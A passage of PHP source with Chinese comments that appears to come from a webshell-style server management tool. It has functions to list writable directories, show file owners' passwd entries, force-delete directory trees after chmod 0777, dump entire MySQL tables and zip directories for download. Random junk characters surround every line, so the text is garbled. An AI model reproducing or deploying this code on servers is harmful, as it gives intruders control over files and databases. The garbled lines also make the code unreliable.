3 R" \$ L# D4 } b2 j - $world['execute'] = ($mode & 00001) ? 'x' : '-'; ; E& F9 B" G g$ p0 u6 n, s
-
: D# ^/ P# G: w: s - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}3 }. c* ^9 e# x# }; A6 L. M0 u, m
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
! A, ?# U* l- J* Q1 ?# c+ P - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
4 l: R3 ~, m3 O9 T' W: Z' X -
5 ~; \5 Q/ ]* L: X - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
8 Q) o; A) N& B* W/ p - }3 e& H6 {3 x7 F# o; A
- 9 _6 V+ p% m4 s; ]/ R
- function getUser($filepath) {" W" I, X) c( t" _
- if (function_exists('posix_getpwuid')) {7 ]( \1 n* n& y$ T) \
- $array = @posix_getpwuid(@fileowner($filepath));
/ Z$ x/ \) [4 }- e( J0 ^+ P4 Y - if ($array && is_array($array)) {9 `. R5 @% j& L5 X. P5 C
- return ' / <a href="#" title="User: '.$array['name'].'
3 f, p( k/ X0 X - Passwd: '.$array['passwd'].'
' }% f3 m- P- d! {! o - Uid: '.$array['uid'].'& y A: E+ Q- \; V6 {5 o& a
- gid: '.$array['gid'].'
) A8 c! V' ?2 ]' r9 I+ K/ p6 U - Gecos: '.$array['gecos'].'
9 c, {/ n8 p ?: d - Dir: '.$array['dir'].'
! _+ {! |/ a( g8 y4 f6 _. h- | - Shell: '.$array['shell'].'">'.$array['name'].'</a>';# K8 o$ c$ E# Y5 w# E; T" a
- }
& e) B# b0 N. S: a- A: G# r5 z - }! ^0 I* f3 O7 o% e- U( D+ X
- return '';, Y4 O5 |( H5 y9 m" ` a+ `3 ^+ J
- }
T6 N* q* o* w' G. F( n% U -
6 a+ C }! |9 c/ j. W& ? - // 删除目录1 v& O5 B; M/ }4 @+ u# G7 e
- function deltree($deldir) {& Q# `2 F+ |, R6 q
- $mydir=@dir($deldir); 6 e6 ~/ A1 J3 y4 g" O+ K9 t f
- while($file=$mydir->read()) {
: i e8 w) R2 }7 x4 ?. b' M+ S0 y B7 v/ r - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { % y2 d1 v) s( a6 R8 r0 T, Q
- @chmod($deldir.'/'.$file,0777);1 C* `+ `) ~/ C# f
- deltree($deldir.'/'.$file);
1 z* Q! R8 D3 G - }) Y! q' P( c! h9 S( y4 u3 X
- if (is_file($deldir.'/'.$file)) {8 i' e# l$ t: Q" L1 q8 w. L$ ~0 \% e# B
- @chmod($deldir.'/'.$file,0777);0 W# k4 ~: A% [' `5 D! f
- @unlink($deldir.'/'.$file);/ E4 t7 W, R7 @, W
- }
0 d* V% w, \5 T: J% y - }
1 w, Z' {- ]" c5 g9 I% m: @6 o4 S: ]9 ?' N - $mydir->close();
" }1 [; ?" X" g* Z8 e; U; T# n2 f - @chmod($deldir,0777);" w6 h& I. D' M2 Z5 n4 ~* k: a4 g
- return @rmdir($deldir) ? 1 : 0;
6 [8 c* n' w& T& M1 j - }
8 l H# w4 V: Q4 ]1 o -
% I# P9 q6 v2 F W( m - // 表格行间的背景色替换: H. l3 `4 j) _$ u8 d, t, M
- function bg() {9 E1 R W9 B( e h* b
- global $bgc;
% \6 r$ u0 `) C! x) [, r - return ($bgc++%2==0) ? 'alt1' : 'alt2';
9 @! x0 B9 i9 M6 A" I% @7 ^ - }" Y9 _$ u P. g4 g) Q3 B
-
- n3 r5 T- ] ^. d - // 获取当前的文件系统路径1 X: E" [: k W! j. D# |" c
- function getPath($scriptpath, $nowpath) {
/ D% O* z+ M+ N2 t9 `( w - if ($nowpath == '.') {
2 t0 b3 q/ L, J V0 L - $nowpath = $scriptpath;3 z$ E. l T/ c! z
- }
/ J; u7 f7 L- N4 o2 [ - $nowpath = str_replace('\\', '/', $nowpath);) k5 n! C7 B8 Z* j2 R! {7 T) x
- $nowpath = str_replace('//', '/', $nowpath);% }! R4 z( ~" X$ Z( e# m1 t
- if (substr($nowpath, -1) != '/') {
, {+ o. E$ P: s2 |" G) D& M - $nowpath = $nowpath.'/';
0 v% S+ _; n" e) W - }
. t* I7 c; _4 S - return $nowpath;( R$ P8 G# Y& D1 V' e2 e
- }" E* ^) h0 W. {7 X/ z5 [, b! i
- ; _1 |9 v# H' p5 y! [( M6 ]
- // 获取当前目录的上级目录
6 r0 u# E/ |0 G. ?7 r, a - function getUpPath($nowpath) {
+ C: \& u. @& u, ~- O$ Z - $pathdb = explode('/', $nowpath);
. a! ~+ e6 ~- y8 j4 ^/ t- L' q* d - $num = count($pathdb);
6 C6 L4 Y4 n( ]5 Y8 L6 w - if ($num > 2) {3 z2 n8 J0 g8 x) I7 T/ I
- unset($pathdb[$num-1],$pathdb[$num-2]);. _2 q: D9 P$ G( L+ T( j
- }
& e/ w% j8 j ^* X* \9 O9 R - $uppath = implode('/', $pathdb).'/';
F% }5 i! K8 C - $uppath = str_replace('//', '/', $uppath);
! j6 m% H/ ~) Z, w0 A: [, n( r - return $uppath;% E: t( o2 w2 Z8 U% \/ Y
- }
- P ?+ M0 e! i% ~ -
4 k7 ~3 @+ M2 a+ k - // 检查PHP配置参数4 ~9 f* A% F: C% [
- function getcfg($varname) {
6 L$ G v! @1 y0 p - $result = get_cfg_var($varname);1 x4 y6 i: s0 i% G. S) @5 w
- if ($result == 0) {
* l3 L4 x# B' q C( w - return 'No';
' E7 u# f6 A+ c! w1 W* s9 g) M: \ - } elseif ($result == 1) {
8 [& { P/ x2 u4 }1 y% s3 w$ f - return 'Yes';
$ m) _; M1 m$ J, V. O! q6 J6 i - } else {
( H" D- P0 x/ Z2 [" Y" N" W' u - return $result;6 Z5 H: i4 [% l3 r, C- U& {
- }% n" f* z3 W( b; [& o- t
- }
+ _ Z1 O# D% Q5 o& r -
$ G7 U1 I# ^3 c* C - // 检查函数情况. u! G" {6 z5 K% X- k4 C b
- function getfun($funName) {* \9 ]4 u5 K4 ?9 E8 h$ ^
- return (false !== function_exists($funName)) ? 'Yes' : 'No';+ v) h" D0 t/ `" Y8 \
- }
# d7 x, G; e; B A" z -
6 a& P1 F7 p" S3 \8 R& V5 b/ E: L - function GetList($dir){, t2 X3 z+ {; U
- global $dirdata,$j,$nowpath;
5 D" o8 q8 o. t7 e, j* n4 h6 _8 B - !$j && $j=1;: ^) Y& X3 ]2 [, |( J
- if ($dh = opendir($dir)) {. m" `3 R* r. g8 h' }! }
- while ($file = readdir($dh)) {8 E' E' x/ t' q z$ A
- $f=str_replace('//','/',$dir.'/'.$file);8 [* i. v# t: S! @/ t* y, @
- if($file!='.' && $file!='..' && is_dir($f)){; L: b8 U. h }; w
- if (is_writable($f)) {
6 {8 H1 D% G( A/ d; M, V1 Z5 t - $dirdata[$j]['filename']=str_replace($nowpath,'',$f); D" h* @. Y* }* x
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
# R( _+ z c+ o2 z - $dirdata[$j]['dirchmod']=getChmod($f);
7 ^' i4 i% k- \8 U. a: Y. r - $dirdata[$j]['dirperm']=getPerms($f);" ^3 c+ o/ d8 I+ s! g; |
- $dirdata[$j]['dirlink']=ue($dir);
0 o1 z/ ]9 m* e - $dirdata[$j]['server_link']=$f;7 g4 m6 c& n# h# X; f
- $dirdata[$j]['client_link']=ue($f);! ?7 s1 K" d1 e4 z6 e) n2 j% o
- $j++;
7 K2 Z" i* v. W! B" U$ I: U - }
7 z H' B7 o0 B/ g% L - GetList($f);" X* {# |7 C% X* L$ b+ f
- }# }7 S+ H6 p3 ^: Z0 r
- }9 U5 o/ Y3 j) u$ k d$ ~; y) J
- closedir($dh);. U: O/ R# _1 C9 O$ d& J
- clearstatcache();
' R; B' Q5 I+ H5 i$ T - return $dirdata;, ^& q+ s; |+ v N9 ^
- } else {! `0 z: S" B! U4 E
- return array();9 m3 f Z: P3 b$ D2 i
- }
/ s* T. u4 W B - }& e6 t: `9 ]4 ~7 r# N2 M
- - \3 G" ] H0 l
- function qy($sql) {
3 t4 I& o; [' D* ]' O9 }& s( B1 F - //echo $sql.'<br>';; {4 N, p7 o+ r2 r$ F% ^
- $res = $error = '';2 r5 {# _$ y/ u# u' P$ |. v6 m/ c [5 Y
- if(!$res = @mysql_query($sql)) { , C2 J6 U# K8 X0 Z, c" @
- return 0;" M5 y$ a, K0 A: j
- } else if(is_resource($res)) {
& H' l! d, e+ b# U; Q' Z - return 1;
$ d1 `. ?! a5 g - } else {1 U/ X& ^' h0 |- {1 V' u; G
- return 2;9 ]1 K- q1 {. b$ }3 \$ X/ n J( F
- }
+ T( z1 ^& V9 j; x( k0 ` - return 0;* j3 E9 ^5 \0 a [
- }
s2 K9 R" O- }: o) v* r: b2 @ - 0 w! g' u3 Y# l( i% C
- function q($sql) {
$ ]2 p4 _2 h5 Q - return @mysql_query($sql);
/ ~$ x4 y8 V& k% t - }
/ H6 |& D0 K# h5 a - " D7 l5 {) l$ L$ f& @
- function fr($qy){
5 }( P E$ F# a$ N0 r - mysql_free_result($qy);6 D$ e- s" e. `9 \7 O8 A9 V
- }! [9 H" U0 _' J! C
-
, K, z5 T/ B9 x% K$ } - function sizecount($size) {
+ F" ^7 _% o g( R9 x - if($size > 1073741824) {- L! b" _8 Q+ P4 K# Q8 V
- $size = round($size / 1073741824 * 100) / 100 . ' G';# E$ ~9 x! m: f1 G. Q) @. C4 m8 Z
- } elseif($size > 1048576) {
9 g- S6 X& X; ]0 M# ]1 K - $size = round($size / 1048576 * 100) / 100 . ' M';
, f5 Q+ {2 N( j& f( F! m1 m0 k - } elseif($size > 1024) {, f2 O/ [' q0 ]( [. u6 k
- $size = round($size / 1024 * 100) / 100 . ' K';
3 A, G- l5 V N* S9 g* k - } else {: ?6 Q: F7 d! N2 M' Q( R
- $size = $size . ' B';
8 p* |" r0 x* E" n - }
' S0 \' a- P) {+ t - return $size;1 m3 t5 V( s' W, u( k( x! @7 `
- }
5 V* _& @ ^9 S7 P4 s - * j6 A {+ u. `( a8 x
- // 压缩打包类
: f# U* T0 K$ H - class PHPZip{$ S$ M( T! L( @& Z' D' y- j
- var $out='';
$ g' H% g1 b0 b+ c0 N7 z6 X! L( V) F - function PHPZip($dir) {2 o& W( K) T$ N/ Y1 E9 V' h
- if (@function_exists('gzcompress')) {
% S) W- r L$ l* [5 f! y, ~% } - $curdir = getcwd();
+ d( J1 ]7 H8 l/ `/ D/ r - if (is_array($dir)) $filelist = $dir;: y1 X5 i: e' Y% o i
- else{9 M4 j3 q8 Z; \ r! M
- $filelist=$this -> GetFileList($dir);//文件列表
7 U* [! i: T( Y- U# e% L" m4 y' e) l - foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
4 G& W! S5 L$ I2 [# Z; X% U, R - }
& V3 d/ l# w3 P( f1 s l }6 S - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
- v% {# j9 D; r* U: G( G - else chdir($curdir);
& n) f2 C' U* U5 `9 r6 J/ ] - if (count($filelist)>0){$ M3 N+ C' C9 X, @1 U) l( P. X; y
- foreach($filelist as $filename){
( m% ~. o: i1 s4 v7 j; C" ? - if (is_file($filename)){
& r6 a" M; i, `7 V% W- t D - $fd = fopen ($filename, 'r');
3 M1 k4 `$ |7 F( J5 O; [# S! v - $content = @fread ($fd, filesize($filename));
; B( j, N4 h' j7 f - fclose ($fd);- |9 O* b) \7 t B2 R3 V) f' e q
- if (is_array($dir)) $filename = basename($filename);
$ J' \8 Q d; V0 q3 G9 a' x% T - $this -> addFile($content, $filename);8 |1 U0 d3 q9 {) V
- }
8 K( I' Q. J B1 Z) n - }9 R4 B# I( Z/ M& n& J. C
- $this->out = $this -> file();
) A2 ]4 n) V+ N& S# G7 O" X - chdir($curdir);
5 I) `" x& f+ x+ h, m* C9 ?- B - }
c g" r9 ^0 s& ]7 _8 J! I - return 1; J% ~5 D7 \5 y1 J7 O2 N
- }
; P3 d& ]/ Y6 n) H - else return 0;$ \* c5 G4 a+ I0 H1 S6 [
- }
2 G: R. r, ~. S& g - ! o$ G/ W { R# V0 Z% s
- // 获得指定目录文件列表) ~) Y0 v% ]; d* p! \. S
- function GetFileList($dir){
6 S! H5 F. m; J( q. X) l - static $a;, @0 e; T. P: b* i8 _; b
- if (is_dir($dir)) {( e0 U8 f0 L: K5 ~1 K$ ~: I$ Z2 Z
- if ($dh = opendir($dir)) {# l7 d/ I; X( L
- while ($file = readdir($dh)) {& ^: p: Q V3 _, x4 {( w
- if($file!='.' && $file!='..'){
1 U$ \( t& o* A+ m* j, u8 P! P - $f=$dir .'/'. $file;1 O' S$ Z: T' ]0 R) d
- if(is_dir($f)) $this->GetFileList($f);
: C, f4 o6 K7 ^7 g2 z8 C - $a[]=$f;
5 B9 E% U9 Z, X" T: x% w1 ? - }
: i3 }* T: s4 |( Z - }
8 z6 d! u- p: y8 Z* e - closedir($dh);
- J7 A+ e+ V# b- @) j: Q, q - }
6 E5 L' G+ C: l4 @ - }
! r& q& m; o& l* L' q- P! E - return $a;
4 ]7 n' K# X6 N _$ B - }
+ b- l) H: T, z( m+ \ - * H( @6 T% t2 U. {* b- h7 w
- var $datasec = array();, Z9 ~, t2 U: K# n, x# A
- var $ctrl_dir = array();( d# T0 ?8 P- W$ [& A5 Y
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";! Z( u: J4 \( B& T# p
- var $old_offset = 0;) }# b W' }% t. @; H2 c4 `
-
$ ?5 |5 P& U- Y6 ? - function unix2DosTime($unixtime = 0) {
* t& [# m; Q4 v& }) { - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); A% Z) t8 y# O" g% u% Y
- if ($timearray['year'] < 1980) {# y9 z, ]$ D" ]% z+ X
- $timearray['year'] = 1980;, h& _. w2 z3 C. {9 L
- $timearray['mon'] = 1;
. ^0 w& J* C6 B* E: ^ i. | - $timearray['mday'] = 1;0 ]* L/ ^ n0 C! S" Q5 H
- $timearray['hours'] = 0;2 {9 c" j6 @" ~5 j# l1 H% s. V1 W
- $timearray['minutes'] = 0;
X% P( F- h$ l- q( j - $timearray['seconds'] = 0;) u( i( q: ~! z% f
- } // end if8 F! ]2 }& g) `* K3 D8 v
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |' F$ {* a0 {% I/ A
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);" u2 U' A$ Q( J$ Q5 v! [
- }
3 a3 G$ }( Q j+ q7 o6 z5 f - function addFile($data, $name, $time = 0) { u5 P! u: S- n1 P2 X# _8 m( k* U
- $name = str_replace('\\', '/', $name);" @6 Z2 a4 t0 P/ G1 D5 l
- $dtime = dechex($this->unix2DosTime($time));
* M- L4 h5 i- D, K) |0 k - $hexdtime = '\x' . $dtime[6] . $dtime[7]
8 F7 b) K9 a3 E; W% e6 T+ q5 ? - . '\x' . $dtime[4] . $dtime[5]
4 \' I$ ~4 _: \( x+ C - . '\x' . $dtime[2] . $dtime[3]+ |9 J- X* c" i4 b4 l) I
- . '\x' . $dtime[0] . $dtime[1];
8 L, B r- \ Q4 e# h$ Q, o - eval('$hexdtime = "' . $hexdtime . '";');
- y* q3 b" f* L2 {4 a" p: @ - $fr = "\x50\x4b\x03\x04";
# }. m P% {) J - $fr .= "\x14\x00";) B' x) ]0 f4 A
- $fr .= "\x00\x00";
( t0 e z# E$ F5 {/ b) M - $fr .= "\x08\x00";6 O* Q) U* G5 c4 E9 g/ l
- $fr .= $hexdtime;, B6 {9 z- g$ G# t/ X
- $unc_len = strlen($data);7 `! w! k+ R& j$ x9 Z3 J( ]
- $crc = crc32($data);
/ z# O0 C- F: B2 g$ g- n# `+ L: @* X - $zdata = gzcompress($data);
% R6 ~1 E8 ^ R m, u - $c_len = strlen($zdata);
. {# S. U+ n0 C - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);6 X' P* W7 N- R1 c7 [
- $fr .= pack('V', $crc);$ R% G7 s" e! a; J3 d
- $fr .= pack('V', $c_len);
" F, R7 Y: k1 C8 [: n - $fr .= pack('V', $unc_len);5 A" c( V' w6 J7 v, E% k5 l @
- $fr .= pack('v', strlen($name));
% S& k: m1 K# @) Q - $fr .= pack('v', 0);6 v) m: p+ g6 u
- $fr .= $name;
4 V2 P# }) D& g/ e7 d9 e) |3 O - $fr .= $zdata;. ^1 A$ E/ I4 m( x6 T* Y* i( p
- $fr .= pack('V', $crc);
7 ] U2 U5 `( ?2 V) z' P) u - $fr .= pack('V', $c_len);
; [4 d5 e4 Z- v' E! R$ V/ X# u - $fr .= pack('V', $unc_len);% U! I) F0 z$ `& F3 ^1 Q
- $this -> datasec[] = $fr;
# {3 Q4 u( F& F& r4 c - $new_offset = strlen(implode('', $this->datasec));3 p+ Q3 g' T, R+ b8 `' F
- $cdrec = "\x50\x4b\x01\x02";6 ^/ i7 W0 Q7 d# h% }
- $cdrec .= "\x00\x00";
4 t& K9 Q+ p( x - $cdrec .= "\x14\x00";$ X. t# N5 S0 P9 U! o( {
- $cdrec .= "\x00\x00";) y3 ]& e% ]& b: ^/ m3 d# _
- $cdrec .= "\x08\x00";2 ? _- m; o7 p! ?# L& x3 ]
- $cdrec .= $hexdtime;
# j1 O1 O% F6 T. U; m - $cdrec .= pack('V', $crc);+ b8 @+ O5 F' H9 W5 N
- $cdrec .= pack('V', $c_len);: g2 w8 _1 [/ F
- $cdrec .= pack('V', $unc_len);
5 i& Y- }3 K7 T& s/ K - $cdrec .= pack('v', strlen($name) );1 ~1 m1 h3 `+ z t8 |7 F0 k
- $cdrec .= pack('v', 0 );( U- b, r* H/ N1 @- b( A0 b
- $cdrec .= pack('v', 0 );% h; H& S. u3 g3 W
- $cdrec .= pack('v', 0 );, b- |+ U% Z0 s/ q9 F/ s
- $cdrec .= pack('v', 0 );- A$ y5 T% e- G7 J; [! c% a
- $cdrec .= pack('V', 32 );
0 y& W3 l7 B; d - $cdrec .= pack('V', $this -> old_offset );3 a' u: s' V t* y; d6 c
- $this -> old_offset = $new_offset;% S- h/ C, H( L9 k \. X
- $cdrec .= $name;
; x, O, M' R4 W - $this -> ctrl_dir[] = $cdrec;9 |& C- a T- \5 f
- }$ S- t% f" R F
- function file() {! y; H/ O) n, t3 }" V$ b
- $data = implode('', $this -> datasec);
! H3 n9 P& D4 c' W& Y - $ctrldir = implode('', $this -> ctrl_dir);
/ P& l$ ?* D$ g3 _% m - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
0 j1 \/ X: o* P8 f+ G6 J0 P3 p) P - }+ H0 p) I; A% b
- }% j4 M/ o/ g; w& {
- // 备份数据库( e- z7 \. h7 i' R" G- y" v
- function sqldumptable($table, $fp=0) {
( X" H( O3 R( i/ g6 S - $tabledump = "DROP TABLE IF EXISTS $table;\n";
: `4 v; s; \. [3 e. x$ c+ o) I, Y% l - $tabledump .= "CREATE TABLE $table (\n"; v. G* P1 v8 O; a
- $firstfield=1;$ G& Z+ K( @2 a
- $fields = q("SHOW FIELDS FROM $table");. G' E7 f, I V/ b& W/ p
- while ($field = mysql_fetch_array($fields)) {4 z2 Z$ p: t8 }; k8 U
- if (!$firstfield) {
; Y: r# v1 I; H) Z+ i; r - $tabledump .= ",\n";
; c2 \) T( v6 T8 @8 Z - } else {9 [5 H6 z- T) {+ h4 p7 Y
- $firstfield=0;
4 X5 m& A9 i0 W+ N3 t/ O3 V - }
/ C" j/ D5 K1 J0 | - $tabledump .= " $field[Field] $field[Type]";
, @$ i2 ~2 u; P- I ` - if (!empty($field["Default"])) {2 ^1 b: L x+ \( z
- $tabledump .= " DEFAULT '$field[Default]'";$ b" P( h8 z$ U7 h7 I/ p
- }& @1 T2 X1 c @- w% N7 z% ~9 N
- if ($field['Null'] != "YES") {
% J# [; L! I+ f+ X( q0 ]* R - $tabledump .= " NOT NULL";
) h' {2 V. y# D R" H/ T) E - }
. U/ }5 c0 U4 W0 `& ^$ V u - if ($field['Extra'] != "") {
; w F* g3 i4 ?6 D/ ^ - $tabledump .= " $field[Extra]";$ }6 B8 V q5 Q
- }
; S' m k8 l9 B2 K9 o; g - }
6 Z# T3 Y/ S/ e: B2 b - fr($fields);
h: d# K0 g% R7 L9 b - $keys = q("SHOW KEYS FROM $table");
/ \5 g6 `0 `2 V$ q$ }9 |7 [ - while ($key = mysql_fetch_array($keys)) {. c, k% i9 M# u3 f; {: \4 F
- $kname=$key['Key_name'];2 O$ J6 d) E \) ]) T: I
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
6 S1 @3 }# P k7 p4 N1 c5 l - $kname="UNIQUE|$kname";
+ ]+ ~1 R! E6 [3 \% v - }1 W2 R2 R! q8 U! a
- if(!is_array($index[$kname])) {+ o# l0 z5 l3 H( l3 `
- $index[$kname] = array();0 D( ~7 x b# D3 r/ u
- }
5 \0 [; z! A9 G: H - $index[$kname][] = $key['Column_name'];
) A/ ]- ]# ?7 z - }
9 p6 ]) B+ W7 g/ I' k; x - fr($keys);: T! j% \) c8 X! r
- while(list($kname, $columns) = @each($index)) {8 y) x" L" y$ w5 T" Y
- $tabledump .= ",\n";
/ R2 k9 V$ }9 ^: o7 d9 o D - $colnames=implode($columns,",");
+ W+ ` p4 I( s5 E* L6 B4 m* @ - if ($kname == "PRIMARY") {' k t6 H+ K, z
- $tabledump .= " PRIMARY KEY ($colnames)";- j" ]# V5 J8 {4 }" |' [
- } else {
, O! c: i, o/ } - if (substr($kname,0,6) == "UNIQUE") {/ n9 t9 K; D! K& _$ i
- $kname=substr($kname,7);/ g$ r# W6 s1 r6 H) u& E+ M
- }
: t0 P: N" d% E4 T - $tabledump .= " KEY $kname ($colnames)";2 S V" J6 Q* L1 I
- }
" ]/ T) M8 u9 V5 t - } Y" D7 t: Q& ~' n
- $tabledump .= "\n);\n\n";
/ O( V6 m" e' e+ @1 w - if ($fp) {0 | [4 G- l" @& f8 a6 W% J, q
- fwrite($fp,$tabledump);' H$ d8 j' x8 G y, w: ~
- } else {
) t% `, R* w+ B4 ^2 n m - echo $tabledump;
0 i0 H+ q6 U3 U. E - }: V- m0 }& K3 Q
- $rows = q("SELECT * FROM $table");
1 C( C6 `1 f A6 G$ w8 [: u: S - $numfields = mysql_num_fields($rows);
' d' P% C% X. m3 x - while ($row = mysql_fetch_array($rows)) {
- M% \$ ?# @- z% a9 L2 g0 G - $tabledump = "INSERT INTO $table VALUES(";: x$ y# m1 |* N) ?5 a7 R
- $fieldcounter=-1;' ]% ^/ v, e- R, N9 ]5 S+ m
- $firstfield=1;$ `: [" h4 L+ c, a8 E$ w( a5 B
- while (++$fieldcounter<$numfields) {
* M* d+ T, S- O2 w2 ] - if (!$firstfield) {0 q, E: X5 s! G4 P3 T, h# y O
- $tabledump.=", ";: Y6 E$ d1 M6 a p1 I5 K G# V ~* F
- } else {
3 h1 V Q9 J. ~- P l' u9 { P - $firstfield=0;+ P8 e8 S" N$ t6 P8 B' N
- }" n4 ]- T2 f' b [
- if (!isset($row[$fieldcounter])) {0 O/ X( Z4 r2 I; W, a
- $tabledump .= "NULL";8 m9 n/ p# A2 F
- } else {
& R% I: _7 o- ?& H f - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
% M$ N( S* i7 h4 o/ ~1 N - }
, g4 O7 T/ J" u% b' }3 |. p - }
' e7 {8 ^" \5 ~6 C - $tabledump .= ");\n";
. ~8 j" Q. P1 _ n2 p: D - if ($fp) {
* @$ X/ \; I: F% X) _! t - fwrite($fp,$tabledump);
2 `2 o; s; U2 e. n - } else {0 P2 r0 K0 h j- r9 W4 s# I
- echo $tabledump;
1 y' E. `" F) s% {) @0 U - }
$ s; f: `$ ]' E/ C - }
; v, @4 E# W) I2 T; T - fr($rows);
/ L$ v3 Z6 c( u2 w- H2 d - if ($fp) {9 I/ O! j: i o5 n9 H. k: j
- fwrite($fp,"\n");
" L2 s, v- ^5 p7 k4 D6 _ - } else {% Q. }, V/ s3 {4 e {
- echo "\n";- c. t. u( `3 m- B8 m6 r. p( J
- }
# F7 I, w! e( q c; n5 [ - }! L. k4 z7 Q6 @
- function ue($str){7 ^. E- o& @, a0 x0 ~) C& n
- return urlencode($str);, Y* u) {0 ~( y1 a1 h7 s
- }
! b9 n# G/ g, a0 e- j - function p($str){
& B4 E. e9 [+ X8 y - echo $str."\n";$ o: e% k' k& G: b+ Q: `$ I
- }
6 J' C4 P& P2 v- J0 _8 u - function tbhead() {. l0 p* R9 Y& l. f7 U( P
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
4 t* i# r! y9 M6 _" D& i; E - }/ \9 i7 P- F2 g
- function tbfoot(){
; i: B, K1 B9 h+ ~7 _ - p('</table>');$ m$ y! a9 [, v3 B
- }
2 R6 n* R; v k* C0 _2 D7 S/ P - function makehide($name,$value=''){
- ]: d: G7 Y0 D7 w8 H- Q5 L& i: o - p("<input id="$name" type="hidden" name="$name" value="$value" />");
0 W0 V: Q; Q7 u1 O& | - }0 I' N" u% z2 K) p* w0 N" m
- function makeinput($arg = array()){
1 I, d' |" C6 \( q" A' n! Z - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
( U5 |2 w# ^& |2 B( b - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';- {( l6 p+ O7 Y1 ?% T" S+ d
- !$arg['type'] && $arg['type'] = 'text';9 Q4 l' {# w& G b; c2 g A
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';: V' L+ ]: p( d c! F% }
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
( ^0 }' D# S8 Y7 { - if ($arg['newline']) {
2 L3 |1 f% q) ^+ @- c2 [ - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");; p2 N# H8 T9 }0 }
- } else {: h# c9 }6 E5 u; f! h+ K0 }
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
, d. @% c+ h! L3 g* {# a3 m - }
; d2 D4 v; m, f$ }# ?& J- L7 U% L, v - }
6 d6 d0 w$ k0 T8 L - function makeselect($arg = array()){
/ z1 r. |, o6 ^! D$ M9 d1 U$ {' R - if ($arg['onchange']) {
1 \/ [% k: |2 \+ s* j; s# i - $onchange = 'onchange="'.$arg['onchange'].'"';7 @+ d0 D8 n! r
- }7 R1 d+ }, o( J8 ^& R7 N2 S
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
! H3 {$ s" a! [ - if ($arg['newline']) p('<p>');; [" j- d/ Y! {0 C' y
- p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
* M/ q# O. Y- w( v7 q; u' g7 V - if (is_array($arg['option'])) {% r' E% \ o( W) S# @ R
- foreach ($arg['option'] as $key=>$value) {1 X/ M* D: u8 }* x/ }
- if ($arg['selected']==$key) {3 z! u8 w' ?+ U" v% y8 f
- p("<option value="$key" selected>$value</option>");% a% T( A9 n: ~! s
- } else {
+ ]' @# |( m. N) L0 ^ - p("<option value="$key">$value</option>");: a. I8 }0 |4 Z+ {8 c% w
- }
1 b5 V3 W% r, p5 T8 D0 ~ - }
" m# V! \( j( L - }
0 Y1 G# p9 z& y) g; T C - p("</select>");
" a- p# i: \2 j* N& Y, e/ f - if ($arg['newline']) p('</p>');
- L' C8 [( {0 N7 C! `5 C$ e - }
R) g( W' I( i* X8 q& ^* ]" M3 I+ D - function formhead($arg = array()) {. ^. z) {1 \+ X6 a5 \- B. e! d# J
- !$arg['method'] && $arg['method'] = 'post';
- u* n& j' `: \( K7 k$ c' E - !$arg['action'] && $arg['action'] = $self;+ \" j/ t& r0 r) n x0 D! l- C, ]
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
0 J2 l4 V) H+ r! D - !$arg['name'] && $arg['name'] = 'form1';5 ]3 |) U5 E6 r: z" Z _6 C
- p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
6 h0 k8 g. ?7 [9 m, N) J, x7 n! w - if ($arg['title']) {* Y, a. B, Y6 K* [4 w8 j
- p('<h2>'.$arg['title'].' »</h2>');
" Y L4 T+ I2 l7 a4 T - }3 J6 R. y3 o% m. _ `
- }: [/ G K4 D N) T
-
& U, M0 L; @. r0 q - function maketext($arg = array()){% }1 _+ U5 V* d8 T' D6 g
- !$arg['cols'] && $arg['cols'] = 100;/ P6 Y% `" m) H% q2 h) Q2 s
- !$arg['rows'] && $arg['rows'] = 25;
! j1 V+ G( m3 S: B% L! z# u) | - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
- m7 v2 ?% S0 `, O D8 |* z0 m - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");" J7 Z- _. f2 O; r
- }
8 I. l5 H2 @. C" w2 F" { -
/ o9 U5 B2 p6 ~4 G& L8 g5 f - function formfooter($name = ''){% v! W* o) t' m
- !$name && $name = 'submit';
# C+ N0 O3 h4 N - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');( J1 Z ^: h" a+ a; k
- p('</form>');% f. S+ b5 d+ o: O! k5 J
- }
